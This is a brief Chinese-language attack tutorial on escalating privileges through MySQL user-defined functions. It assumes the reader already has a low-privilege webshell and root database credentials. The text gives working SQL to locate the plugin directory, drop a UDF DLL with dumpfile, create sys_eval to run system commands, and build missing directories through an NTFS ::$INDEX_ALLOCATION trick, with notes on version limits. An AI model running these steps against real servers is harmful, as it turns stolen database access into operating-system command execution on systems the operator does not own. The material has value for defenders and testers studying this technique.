MySQL UDF提权 过程及注意事项
MySQL UDF提权 过程及注意事项
0x00
udf = ‘user defined function’,即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()。udf在mysql5.1以后的版本中,存在
思路
当获得webshell后发现权限比较低,但是在inc文件中拿到数据库的用户是root的情况下
1、选择udf提权,查看插件目录
SHOW VARIABLES LIKE '%plugins%'
2、dumpfile写入文件到插件目录
3、导入提权函数
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
4、通过函数执行系统命令
SELECT sys_eval('whoami');
注意
1️⃣ 如果导出文件时MySQL安装目录下没有 lib/plugin (插件文件夹)那么则需要开启以下选项才能利用文件流创建目录
2️⃣ 版本<mysql 5.0 时 udf的限制比较松,可以使用绝对路径的UDF,比如
create function cmdshell returns string soname ‘c:/test/udf.dll’
3️⃣ 版本<mysql 5.1并且>mysql 5.0 这时候对于udf的限制比较苛刻了,udf的路径必须放置在c:\windows\system32目录中或者mysql的插件目录中。(插件目录可以使用select @@plugin_dir命令来获得)注意:不一定这个目录一定存在
4️⃣ 版本>mysql 5.1 时候对udf的限制最为严格,这时候的udf必须放置在插件目录中。但是默认安装的mysql并没有lib\plugin目录,在我们没有webshell不能创建目录的情况下或者是webshell没有权限创建目录的情况下,我们需要mysql能够为我们创建一个目录。而mysql本身不具备创建目录的功能,这时候很多人就放弃了,其实我们结合ntfs的特性可以实现用mysql实现创建文件夹。
假设我们的插件目录是c:\mysql\lib\plugin这时候lib和plugin目录是不存在的,这时候我们用两个mysql语句就能实现创建文件夹
select 'xxx' into dumpfile 'C:\MySQL\lib::$INDEX_ALLOCATION';
select 'xxx' into dumpfile 'C:\MySQL\lib\plugin::$INDEX_ALLOCATION';
这时候会报错ERROR 3 (HY000): Error writing file 'C:\MySQL\lib::$INDEX_ALLOCATION' (Errcode: 22)这个不用担心,目录已经创建了